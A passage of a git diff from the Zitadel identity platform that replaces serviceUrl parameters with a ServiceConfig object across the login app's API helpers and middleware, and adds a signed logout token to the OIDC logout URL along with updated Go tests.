+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   const loginNameResult = await userService.listUsers({ queries });
 
@@ -723,8 +728,8 @@ export async function searchUsers({ serviceUrl, searchValue, loginSettings, orga
   return { result: [] };
 }
 
-export async function getDefaultOrg({ serviceUrl }: { serviceUrl: string }): Promise<Organization | null> {
-  const orgService: Client<typeof OrganizationService> = await createServiceForHost(OrganizationService, serviceUrl);
+export async function getDefaultOrg({ serviceConfig }: WithServiceConfig): Promise<Organization | null> {
+  const orgService: Client<typeof OrganizationService> = await createServiceForHost(OrganizationService, serviceConfig);
 
   return orgService
     .listOrganizations(
@@ -743,8 +748,8 @@ export async function getDefaultOrg({ serviceUrl }: { serviceUrl: string }): Pro
     .then((resp) => (resp?.result && resp.result[0] ? resp.result[0] : null));
 }
 
-export async function getOrgsByDomain({ serviceUrl, domain }: { serviceUrl: string; domain: string }) {
-  const orgService: Client<typeof OrganizationService> = await createServiceForHost(OrganizationService, serviceUrl);
+export async function getOrgsByDomain({ serviceConfig, domain }: WithServiceConfig<{ domain: string }>) {
+  const orgService: Client<typeof OrganizationService> = await createServiceForHost(OrganizationService, serviceConfig);
 
   return orgService.listOrganizations(
     {
@@ -762,15 +767,15 @@ export async function getOrgsByDomain({ serviceUrl, domain }: { serviceUrl: stri
 }
 
 export async function startIdentityProviderFlow({
-  serviceUrl,
+  serviceConfig,
   idpId,
   urls,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   idpId: string;
   urls: RedirectURLsJson;
-}): Promise<string | null> {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>): Promise<string | null> {
+    // Use empty publicHost to avoid issues with redirect URIs pointing to the login UI instead of the zitadel API
+    const userService: Client<typeof UserService> = await createServiceForHost(UserService, {...serviceConfig, publicHost: ''});
 
   return userService
     .startIdentityProviderIntent({
@@ -823,17 +828,16 @@ export async function startIdentityProviderFlow({
 }
 
 export async function startLDAPIdentityProviderFlow({
-  serviceUrl,
+  serviceConfig,
   idpId,
   username,
   password,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   idpId: string;
   username: string;
   password: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.startIdentityProviderIntent({
     idpId,
@@ -847,16 +851,26 @@ export async function startLDAPIdentityProviderFlow({
   });
 }
 
-export async function getAuthRequest({ serviceUrl, authRequestId }: { serviceUrl: string; authRequestId: string }) {
-  const oidcService = await createServiceForHost(OIDCService, serviceUrl);
+export async function getAuthRequest({
+  serviceConfig,
+  authRequestId,
+}: WithServiceConfig<{
+  authRequestId: string;
+}>) {
+  const oidcService = await createServiceForHost(OIDCService, serviceConfig);
 
   return oidcService.getAuthRequest({
     authRequestId,
   });
 }
 
-export async function getDeviceAuthorizationRequest({ serviceUrl, userCode }: { serviceUrl: string; userCode: string }) {
-  const oidcService = await createServiceForHost(OIDCService, serviceUrl);
+export async function getDeviceAuthorizationRequest({
+  serviceConfig,
+  userCode,
+}: WithServiceConfig<{
+  userCode: string;
+}>) {
+  const oidcService = await createServiceForHost(OIDCService, serviceConfig);
 
   return oidcService.getDeviceAuthorizationRequest({
     userCode,
@@ -864,15 +878,14 @@ export async function getDeviceAuthorizationRequest({ serviceUrl, userCode }: {
 }
 
 export async function authorizeOrDenyDeviceAuthorization({
-  serviceUrl,
+  serviceConfig,
   deviceAuthorizationId,
   session,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   deviceAuthorizationId: string;
   session?: { sessionId: string; sessionToken: string };
-}) {
-  const oidcService = await createServiceForHost(OIDCService, serviceUrl);
+}>) {
+  const oidcService = await createServiceForHost(OIDCService, serviceConfig);
 
   return oidcService.authorizeOrDenyDeviceAuthorization({
     deviceAuthorizationId,
@@ -888,36 +901,40 @@ export async function authorizeOrDenyDeviceAuthorization({
   });
 }
 
-export async function createCallback({ serviceUrl, req }: { serviceUrl: string; req: CreateCallbackRequest }) {
-  const oidcService = await createServiceForHost(OIDCService, serviceUrl);
+export async function createCallback({ serviceConfig, req }: WithServiceConfig<{ req: CreateCallbackRequest }>) {
+  const oidcService = await createServiceForHost(OIDCService, serviceConfig);
 
   return oidcService.createCallback(req);
 }
 
-export async function getSAMLRequest({ serviceUrl, samlRequestId }: { serviceUrl: string; samlRequestId: string }) {
-  const samlService = await createServiceForHost(SAMLService, serviceUrl);
+export async function getSAMLRequest({
+  serviceConfig,
+  samlRequestId,
+}: WithServiceConfig<{
+  samlRequestId: string;
+}>) {
+  const samlService = await createServiceForHost(SAMLService, serviceConfig);
 
   return samlService.getSAMLRequest({
     samlRequestId,
   });
 }
 
-export async function createResponse({ serviceUrl, req }: { serviceUrl: string; req: CreateResponseRequest }) {
-  const samlService = await createServiceForHost(SAMLService, serviceUrl);
+export async function createResponse({ serviceConfig, req }: WithServiceConfig<{ req: CreateResponseRequest }>) {
+  const samlService = await createServiceForHost(SAMLService, serviceConfig);
 
   return samlService.createResponse(req);
 }
 
 export async function verifyEmail({
-  serviceUrl,
+  serviceConfig,
   userId,
   verificationCode,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   verificationCode: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.verifyEmail(
     {
@@ -929,14 +946,13 @@ export async function verifyEmail({
 }
 
 export async function resendEmailCode({
-  serviceUrl,
+  serviceConfig,
   userId,
   urlTemplate,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   urlTemplate: string;
-}) {
+}>) {
   let request: ResendEmailCodeRequest = create(ResendEmailCodeRequestSchema, {
     userId,
   });
@@ -947,33 +963,42 @@ export async function resendEmailCode({
 
   request = { ...request, verification: { case: "sendCode", value: medium } };
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.resendEmailCode(request, {});
 }
 
-export async function retrieveIDPIntent({ serviceUrl, id, token }: { serviceUrl: string; id: string; token: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function retrieveIDPIntent({
+  serviceConfig,
+  id,
+  token,
+}: WithServiceConfig<{
+  id: string;
+  token: string;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.retrieveIdentityProviderIntent({ idpIntentId: id, idpIntentToken: token }, {});
 }
 
-export async function getIDPByID({ serviceUrl, id }: { serviceUrl: string; id: string }) {
-  const idpService: Client<typeof IdentityProviderService> = await createServiceForHost(IdentityProviderService, serviceUrl);
+export async function getIDPByID({ serviceConfig, id }: WithServiceConfig<{ id: string }>) {
+  const idpService: Client<typeof IdentityProviderService> = await createServiceForHost(
+    IdentityProviderService,
+    serviceConfig,
+  );
 
   return idpService.getIDPByID({ id }, {}).then((resp) => resp.idp);
 }
 
 export async function addIDPLink({
-  serviceUrl,
+  serviceConfig,
   idp,
   userId,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   idp: { id: string; userId: string; userName: string };
   userId: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.addIDPLink(
     {
@@ -989,14 +1014,13 @@ export async function addIDPLink({
 }
 
 export async function passwordReset({
-  serviceUrl,
+  serviceConfig,
   userId,
   urlTemplate,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   urlTemplate?: string;
-}) {
+}>) {
   let medium = create(SendPasswordResetLinkSchema, {
     notificationType: NotificationType.Email,
   });
@@ -1006,7 +1030,7 @@ export async function passwordReset({
     urlTemplate,
   };
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.passwordReset(
     {
@@ -1021,16 +1045,15 @@ export async function passwordReset({
 }
 
 export async function setUserPassword({
-  serviceUrl,
+  serviceConfig,
   userId,
   password,
   code,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   password: string;
   code?: string;
-}) {
+}>) {
   let payload = create(SetPasswordRequestSchema, {
     userId,
     newPassword: {
@@ -1048,7 +1071,7 @@ export async function setUserPassword({
     };
   }
 
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.setPassword(payload, {}).catch((error) => {
     // throw error if failed precondition (ex. User is not yet initialized)
@@ -1060,8 +1083,13 @@ export async function setUserPassword({
   });
 }
 
-export async function setPassword({ serviceUrl, payload }: { serviceUrl: string; payload: SetPasswordRequest }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function setPassword({
+  serviceConfig,
+  payload,
+}: WithServiceConfig<{
+  payload: SetPasswordRequest;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.setPassword(payload, {});
 }
@@ -1072,8 +1100,13 @@ export async function setPassword({ serviceUrl, payload }: { serviceUrl: string;
  * @param userId the id of the user where the email should be set
  * @returns the newly set email
  */
-export async function createPasskeyRegistrationLink({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function createPasskeyRegistrationLink({
+  serviceConfig,
+  userId,
+}: WithServiceConfig<{
+  userId: string;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.createPasskeyRegistrationLink({
     userId,
@@ -1091,8 +1124,15 @@ export async function createPasskeyRegistrationLink({ serviceUrl, userId }: { se
  * @param domain the domain on which the factor is registered
  * @returns the newly set email
  */
-export async function registerU2F({ serviceUrl, userId, domain }: { serviceUrl: string; userId: string; domain: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function registerU2F({
+  serviceConfig,
+  userId,
+  domain,
+}: WithServiceConfig<{
+  userId: string;
+  domain: string;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.registerU2F({
     userId,
@@ -1107,13 +1147,12 @@ export async function registerU2F({ serviceUrl, userId, domain }: { serviceUrl:
  * @returns the result of the verification
  */
 export async function verifyU2FRegistration({
-  serviceUrl,
+  serviceConfig,
   request,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   request: VerifyU2FRegistrationRequest;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.verifyU2FRegistration(request, {});
 }
@@ -1126,19 +1165,18 @@ export async function verifyU2FRegistration({
  * @returns the active identity providers
  */
 export async function getActiveIdentityProviders({
-  serviceUrl,
+  serviceConfig,
   orgId,
   linking_allowed,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   orgId?: string;
   linking_allowed?: boolean;
-}) {
+}>) {
   const props: any = { ctx: makeReqCtx(orgId) };
   if (linking_allowed) {
     props.linkingAllowed = linking_allowed;
   }
-  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceUrl);
+  const settingsService: Client<typeof SettingsService> = await createServiceForHost(SettingsService, serviceConfig);
 
   return settingsService.getActiveIdentityProviders(props, {});
 }
@@ -1150,13 +1188,12 @@ export async function getActiveIdentityProviders({
  * @returns the result of the verification
  */
 export async function verifyPasskeyRegistration({
-  serviceUrl,
+  serviceConfig,
   request,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   request: VerifyPasskeyRegistrationRequest;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.verifyPasskeyRegistration(request, {});
 }
@@ -1170,17 +1207,16 @@ export async function verifyPasskeyRegistration({
  * @returns the newly set email
  */
 export async function registerPasskey({
-  serviceUrl,
+  serviceConfig,
   userId,
   code,
   domain,
-}: {
-  serviceUrl: string;
+}: WithServiceConfig<{
   userId: string;
   code: { id: string; code: string };
   domain: string;
-}) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.registerPasskey({
     userId,
@@ -1195,33 +1231,64 @@ export async function registerPasskey({
  * @param userId the id of the user where the email should be set
  * @returns the list of authentication method types
  */
-export async function listAuthenticationMethodTypes({ serviceUrl, userId }: { serviceUrl: string; userId: string }) {
-  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceUrl);
+export async function listAuthenticationMethodTypes({
+  serviceConfig,
+  userId,
+}: WithServiceConfig<{
+  userId: string;
+}>) {
+  const userService: Client<typeof UserService> = await createServiceForHost(UserService, serviceConfig);
 
   return userService.listAuthenticationMethodTypes({
     userId,
   });
 }
 
-export function createServerTransport(token: string, baseUrl: string) {
+export interface ServiceConfig {
+  baseUrl: string;
+  instanceHost?: string; // only for multi-tenant
+  publicHost?: string; // only for multi-tenant
+}
+
+/**
+ * Base type that all function parameters must extend to ensure serviceConfig is always required
+ */
+export type WithServiceConfig<T = {}> = T & {
+  serviceConfig: ServiceConfig;
+};
+
+export function createServerTransport(token: string, serviceConfig: ServiceConfig) {
   return libCreateServerTransport(token, {
-    baseUrl,
-    interceptors: !process.env.CUSTOM_REQUEST_HEADERS
-      ? undefined
-      : [
-          (next) => {
-            return (req) => {
-              process.env.CUSTOM_REQUEST_HEADERS!.split(",").forEach((header) => {
-                const kv = header.indexOf(":");
-                if (kv > 0) {
-                  req.header.set(header.slice(0, kv).trim(), header.slice(kv + 1).trim());
-                } else {
-                  console.warn(`Skipping malformed header: ${header}`);
+    baseUrl: serviceConfig.baseUrl,
+    interceptors:
+      !process.env.CUSTOM_REQUEST_HEADERS && !serviceConfig.instanceHost && !serviceConfig.publicHost
+        ? undefined
+        : [
+            (next) => {
+              return (req) => {
+                // Apply headers from serviceConfig
+                if (serviceConfig.instanceHost) {
+                  req.header.set("x-zitadel-instance-host", serviceConfig.instanceHost);
                 }
-              });
-              return next(req);
-            };
-          },
-        ],
+                if (serviceConfig.publicHost) {
+                  req.header.set("x-zitadel-public-host", serviceConfig.publicHost);
+                }
+
+                // Apply headers from CUSTOM_REQUEST_HEADERS environment variable
+                if (process.env.CUSTOM_REQUEST_HEADERS) {
+                  process.env.CUSTOM_REQUEST_HEADERS.split(",").forEach((header) => {
+                    const kv = header.indexOf(":");
+                    if (kv > 0) {
+                      req.header.set(header.slice(0, kv).trim(), header.slice(kv + 1).trim());
+                    } else {
+                      console.warn(`Skipping malformed header: ${header}`);
+                    }
+                  });
+                }
+
+                return next(req);
+              };
+            },
+          ],
   });
 }
diff --git a/apps/login/src/middleware.ts b/apps/login/src/middleware.ts
index 8eca00510ef..7a9cc7f8f9d 100644
--- a/apps/login/src/middleware.ts
+++ b/apps/login/src/middleware.ts
@@ -3,28 +3,16 @@ import { SecuritySettings } from "@zitadel/proto/zitadel/settings/v2/security_se
 import { headers } from "next/headers";
 import { NextRequest, NextResponse } from "next/server";
 import { DEFAULT_CSP } from "../constants/csp";
-import { getServiceUrlFromHeaders } from "./lib/service-url";
+import { getServiceConfig } from "./lib/service-url";
 export const config = {
-  matcher: [
-    "/.well-known/:path*",
-    "/oauth/:path*",
-    "/oidc/:path*",
-    "/idps/callback/:path*",
-    "/saml/:path*",
-    "/:path*",
-  ],
+  matcher: ["/.well-known/:path*", "/oauth/:path*", "/oidc/:path*", "/idps/callback/:path*", "/saml/:path*", "/:path*"],
 };
 
-async function loadSecuritySettings(
-  request: NextRequest,
-): Promise<SecuritySettings | null> {
+async function loadSecuritySettings(request: NextRequest): Promise<SecuritySettings | null> {
   const securityResponse = await fetch(`${request.nextUrl.origin}/security`);
 
   if (!securityResponse.ok) {
-    console.error(
-      "Failed to fetch security settings:",
-      securityResponse.statusText,
-    );
+    console.error("Failed to fetch security settings:", securityResponse.statusText);
     return null;
   }
 
@@ -49,40 +37,28 @@ export async function middleware(request: NextRequest) {
   }
 
   // Only run the rest of the logic for the original matcher paths
-  const proxyPaths = [
-    "/.well-known/",
-    "/oauth/",
-    "/oidc/",
-    "/idps/callback/",
-    "/saml/",
-  ];
-
-  const isMatched = proxyPaths.some((prefix) =>
-    request.nextUrl.pathname.startsWith(prefix),
-  );
-
-  // escape proxy if the environment is setup for multitenancy
-  if (
-    !isMatched ||
-    !process.env.ZITADEL_API_URL ||
-    !process.env.ZITADEL_SERVICE_USER_TOKEN
-  ) {
-    // For all other routes, just add the header and continue
+  const proxyPaths = ["/.well-known/", "/oauth/", "/oidc/", "/idps/callback/", "/saml/"];
+
+  const isMatched = proxyPaths.some((prefix) => request.nextUrl.pathname.startsWith(prefix));
+
+  // Only proxy in self-hosted mode
+  if (!isMatched) {
+    // For multi-tenant or non-proxied routes, just add the header and continue
     return NextResponse.next({
       request: { headers: requestHeaders },
     });
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const instanceHost = `${serviceUrl}`
-    .replace("https://", "")
-    .replace("http://", "");
-
-  // Add additional headers as before
-  requestHeaders.set("x-zitadel-public-host", `${request.nextUrl.host}`);
-  requestHeaders.set("x-zitadel-instance-host", instanceHost);
+  // add additional headers if available
+  if (serviceConfig.publicHost) {
+    requestHeaders.set("x-zitadel-public-host", serviceConfig.publicHost);
+  }
+  if (serviceConfig.instanceHost) {
+    requestHeaders.set("x-zitadel-instance-host", serviceConfig.instanceHost);
+  }
 
   const responseHeaders = new Headers();
   responseHeaders.set("Access-Control-Allow-Origin", "*");
@@ -98,7 +74,7 @@ export async function middleware(request: NextRequest) {
     responseHeaders.delete("X-Frame-Options");
   }
 
-  request.nextUrl.href = `${serviceUrl}${request.nextUrl.pathname}${request.nextUrl.search}`;
+  request.nextUrl.href = `${serviceConfig.baseUrl}${request.nextUrl.pathname}${request.nextUrl.search}`;
 
   return NextResponse.rewrite(request.nextUrl, {
     request: {
diff --git a/apps/login/tsconfig.json b/apps/login/tsconfig.json
index dbb65389d46..d0403e237a6 100644
--- a/apps/login/tsconfig.json
+++ b/apps/login/tsconfig.json
@@ -28,6 +28,16 @@
       ]
     }
   },
-  "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
-  "exclude": ["node_modules", "integration", "acceptance"]
+  "include": [
+    "next-env.d.ts",
+    "**/*.ts",
+    "**/*.tsx",
+    ".next/types/**/*.ts",
+    ".next/dev/types/**/*.ts"
+  ],
+  "exclude": [
+    "node_modules",
+    "integration",
+    "acceptance"
+  ]
 }
diff --git a/internal/api/oidc/auth_request.go b/internal/api/oidc/auth_request.go
index 152176a59c1..bfbcd29f7f2 100644
--- a/internal/api/oidc/auth_request.go
+++ b/internal/api/oidc/auth_request.go
@@ -10,10 +10,11 @@ import (
 	"strings"
 	"time"
 
+	"github.com/go-jose/go-jose/v4"
 	"github.com/zitadel/logging"
+	"github.com/zitadel/oidc/v3/pkg/crypto"
 	"github.com/zitadel/oidc/v3/pkg/oidc"
 	"github.com/zitadel/oidc/v3/pkg/op"
-	"golang.org/x/text/language"
 
 	"github.com/zitadel/zitadel/internal/api/authz"
 	http_utils "github.com/zitadel/zitadel/internal/api/http"
@@ -33,6 +34,7 @@ const (
 	LoginPostLogoutRedirectParam = "post_logout_redirect"
 	LoginLogoutHintParam         = "logout_hint"
 	LoginUILocalesParam          = "ui_locales"
+	LoginLogoutTokenParam        = "logout_token"
 	LoginPath                    = "/login"
 	LogoutPath                   = "/logout"
 	LogoutDonePath               = "/logout/done"
@@ -298,7 +300,11 @@ func (o *OPStorage) TerminateSessionFromRequest(ctx context.Context, endSessionR
 		} else {
 			logoutURI = logoutURI.JoinPath(LogoutPath)
 		}
-		return buildLoginV2LogoutURL(logoutURI, redirectURI, endSessionRequest.LogoutHint, endSessionRequest.UILocales), nil
+		signer, _, err := GetSignerOnce(o.query.GetActiveSigningWebKey)(ctx)
+		if err != nil {
+			return "", err
+		}
+		return buildLoginV2LogoutURL(logoutURI, redirectURI, endSessionRequest.LogoutHint, endSessionRequest.UILocales, signer)
 	}
 
 	// V1:
@@ -375,7 +381,13 @@ func (o *OPStorage) federatedLogout(ctx context.Context, sessionID string, postL
 	return login.ExternalLogoutPath(sessionID)
 }
 
-func buildLoginV2LogoutURL(logoutURI *url.URL, redirectURI, logoutHint string, uiLocales []language.Tag) string {
+type logoutTokenPayload struct {
+	PostLogoutRedirectURI string       `json:"post_logout_redirect_uri,omitempty"`
+	LogoutHint            string       `json:"logout_hint,omitempty"`
+	UILocales             oidc.Locales `json:"ui_locales,omitempty"`
+}
+
+func buildLoginV2LogoutURL(logoutURI *url.URL, redirectURI, logoutHint string, uiLocales oidc.Locales, signer jose.Signer) (string, error) {
 	if strings.HasSuffix(logoutURI.Path, "/") && len(logoutURI.Path) > 1 {
 		logoutURI.Path = strings.TrimSuffix(logoutURI.Path, "/")
 	}
@@ -386,14 +398,19 @@ func buildLoginV2LogoutURL(logoutURI *url.URL, redirectURI, logoutHint string, u
 		q.Set(LoginLogoutHintParam, logoutHint)
 	}
 	if len(uiLocales) > 0 {
-		locales := make([]string, len(uiLocales))
-		for i, locale := range uiLocales {
-			locales[i] = locale.String()
-		}
-		q.Set(LoginUILocalesParam, strings.Join(locales, " "))
+		q.Set(LoginUILocalesParam, uiLocales.String())
+	}
+	logoutToken, err := crypto.Sign(&logoutTokenPayload{
+		PostLogoutRedirectURI: redirectURI,
+		LogoutHint:            logoutHint,
+		UILocales:             uiLocales,
+	}, signer)
+	if err != nil {
+		return "", err
 	}
+	q.Set(LoginLogoutTokenParam, logoutToken)
 	logoutURI.RawQuery = q.Encode()
-	return logoutURI.String()
+	return logoutURI.String(), nil
 }
 
 // v2PostLogoutRedirectURI will take care that the post_logout_redirect_uri is correctly set for v2 logins.
diff --git a/internal/api/oidc/auth_request_test.go b/internal/api/oidc/auth_request_test.go
index 0210ead49ef..cf823657b7c 100644
--- a/internal/api/oidc/auth_request_test.go
+++ b/internal/api/oidc/auth_request_test.go
@@ -1,9 +1,13 @@
 package oidc
 
 import (
+	"crypto/rand"
+	"crypto/rsa"
+	"encoding/json"
 	"net/url"
 	"testing"
 
+	"github.com/go-jose/go-jose/v4"
 	"github.com/stretchr/testify/assert"
 	"github.com/stretchr/testify/require"
 	"golang.org/x/text/language"
@@ -18,6 +22,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 		redirectURI    string
 		logoutHint     string
 		uiLocales      []language.Tag
+		signer         jose.Signer
 		expectedParams map[string]string
 	}{
 		{
@@ -26,6 +31,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			redirectURI:  "https://client/cb",
 			expectedParams: map[string]string{
 				"post_logout_redirect": "https://client/cb",
+				"logout_token":         "", // presence checked separately
 			},
 		},
 		{
@@ -36,6 +42,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			expectedParams: map[string]string{
 				"post_logout_redirect": "https://client/cb",
 				"logout_hint":          "user@example.com",
+				"logout_token":         "", // presence checked separately
 			},
 		},
 		{
@@ -46,6 +53,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			expectedParams: map[string]string{
 				"post_logout_redirect": "https://client/cb",
 				"ui_locales":           "en it",
+				"logout_token":         "", // presence checked separately
 			},
 		},
 		{
@@ -58,6 +66,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 				"post_logout_redirect": "https://client/cb",
 				"logout_hint":          "logoutme",
 				"ui_locales":           "de-CH fr",
+				"logout_token":         "", // presence checked separately
 			},
 		},
 		{
@@ -66,6 +75,7 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			redirectURI:  "https://client/cb",
 			expectedParams: map[string]string{
 				"post_logout_redirect": "https://client/cb",
+				"logout_token":         "", // presence checked separately
 			},
 		},
 	}
@@ -79,9 +89,10 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			require.NoError(t, err)
 
 			// When
-			got := buildLoginV2LogoutURL(logoutURI, tc.redirectURI, tc.logoutHint, tc.uiLocales)
+			got, err := buildLoginV2LogoutURL(logoutURI, tc.redirectURI, tc.logoutHint, tc.uiLocales, signer)
 
 			// Then
+			require.NoError(t, err)
 			gotURL, err := url.Parse(got)
 			require.NoError(t, err)
 			require.NotContains(t, gotURL.String(), "/logout/")
@@ -91,8 +102,39 @@ func TestBuildLoginV2LogoutURL(t *testing.T) {
 			require.Len(t, q, len(tc.expectedParams))
 
 			for k, v := range tc.expectedParams {
+				if k == LoginLogoutTokenParam {
+					assertLogoutToken(t, q.Get(k), &logoutTokenPayload{
+						PostLogoutRedirectURI: tc.redirectURI,
+						LogoutHint:            tc.logoutHint,
+						UILocales:             tc.uiLocales,
+					})
+					continue
+				}
 				assert.Equal(t, v, q.Get(k))
 			}
 		})
 	}
 }
+
+func assertLogoutToken(t *testing.T, token string, payload *logoutTokenPayload) {
+	signature, err := jose.ParseSigned(token, []jose.SignatureAlgorithm{jose.RS256})
+	require.NoError(t, err)
+	logoutToken := new(logoutTokenPayload)
+	err = json.Unmarshal(signature.UnsafePayloadWithoutVerification(), logoutToken)
+	require.NoError(t, err)
+	assert.Equal(t, payload, logoutToken)
+}
+
+var (
+	privKey, _ = rsa.GenerateKey(rand.Reader, 2048)
+	signer     = func() jose.Signer {
+		signer, _ := jose.NewSigner(
+			jose.SigningKey{
+				Algorithm: jose.RS256,
+				Key:       privKey,
+			},
+			(&jose.SignerOptions{}).WithType("JWT"),
+		)
+		return signer
+	}()
+)
diff --git a/internal/api/oidc/integration_test/auth_request_test.go b/internal/api/oidc/integration_test/auth_request_test.go
index 77e389f7be7..75c43646450 100644
--- a/internal/api/oidc/integration_test/auth_request_test.go
+++ b/internal/api/oidc/integration_test/auth_request_test.go
@@ -551,15 +551,16 @@ func TestOPStorage_TerminateSession_refresh_grant(t *testing.T) {
 	require.NoError(t, err)
 }
 
-func buildLogoutURL(origin, logoutURLV2 string, redirectURI string, extraParams map[string]string) string {
+func buildLogoutURL(origin, logoutURLV2, redirectURI string, extraParams map[string]string) *url.URL {
 	u, _ := url.Parse(origin + logoutURLV2 + redirectURI)
 	q := u.Query()
 	for k, v := range extraParams {
 		q.Set(k, v)
 	}
+	q.Set("logout_token", "signed-logout-token") // placeholder
 	u.RawQuery = q.Encode()
 	// Append the redirect URI as a URL-escaped string
-	return u.String()
+	return u
 }
 
 func TestOPStorage_TerminateSession_empty_id_token_hint(t *testing.T) {
@@ -567,7 +568,7 @@ func TestOPStorage_TerminateSession_empty_id_token_hint(t *testing.T) {
 		name          string
 		clientID      string
 		authRequestID func(t testing.TB, instance *integration.Instance, clientID, redirectURI string, scope ...string) string
-		logoutURL     string
+		logoutURL     *url.URL
 	}{
 		{
 			name: "login header",
@@ -614,7 +615,18 @@ func TestOPStorage_TerminateSession_empty_id_token_hint(t *testing.T) {
 
 			postLogoutRedirect, err := rp.EndSession(CTX, provider, "", logoutRedirectURI, "state", "hint", oidc.ParseLocales([]string{"it-IT", "en-US"}))
 			require.NoError(t, err)
-			assert.Equal(t, tt.logoutURL, postLogoutRedirect.String())
+
+			requiredQueries := tt.logoutURL.Query()
+			for key, value := range requiredQueries {
+				if key == "logout_token" {
+					assert.NotEmpty(t, value[0], "logout_token must be present")
+					continue
+				}
+				assert.Equal(t, value[0], postLogoutRedirect.Query().Get(key))
+			}
+			requiredURLWithoutQueries := *tt.logoutURL
+			requiredURLWithoutQueries.RawQuery = ""
+			assert.Equal(t, requiredURLWithoutQueries.String(), postLogoutRedirect.Scheme+"://"+postLogoutRedirect.Host+postLogoutRedirect.Path)
 
 			// userinfo must not fail until login UI terminated session
 			_, err = rp.Userinfo[*oidc.UserInfo](CTX, tokens.AccessToken, tokens.TokenType, tokens.IDTokenClaims.Subject, provider)
diff --git a/packages/zitadel-client/src/node.ts b/packages/zitadel-client/src/node.ts
index 0b15310d2c3..c5b942a30b4 100644
--- a/packages/zitadel-client/src/node.ts
+++ b/packages/zitadel-client/src/node.ts
@@ -1,5 +1,14 @@
-import { createGrpcTransport, GrpcTransportOptions } from "@connectrpc/connect-node";
-import { importPKCS8, SignJWT } from "jose";
+import {
+  createGrpcTransport,
+  GrpcTransportOptions,
+} from "@connectrpc/connect-node";
+import {
+  createRemoteJWKSet,
+  importPKCS8,
+  jwtVerify,
+  JWTPayload,
+  SignJWT,
+} from "jose";
 import { NewAuthorizationBearerInterceptor } from "./interceptors.js";
 
 /**
@@ -7,10 +16,16 @@ import { NewAuthorizationBearerInterceptor } from "./interceptors.js";
  * @param token
  * @param opts
  */
-export function createServerTransport(token: string, opts: GrpcTransportOptions) {
+export function createServerTransport(
+  token: string,
+  opts: GrpcTransportOptions
+) {
   return createGrpcTransport({
     ...opts,
-    interceptors: [...(opts.interceptors || []), NewAuthorizationBearerInterceptor(token)],
+    interceptors: [
+      ...(opts.interceptors || []),
+      NewAuthorizationBearerInterceptor(token),
+    ],
   });
 }
 
@@ -34,3 +49,36 @@ export async function newSystemToken({
     .setAudience(audience)
     .sign(await importPKCS8(key, "RS256"));
 }
+
+/**
+ * Verify a signed JWT with the given keys endpoint.
+ * @param token
+ * @param keysEndpoint
+ * @param options
+ */
+export async function verifyJwt<T = JWTPayload>(
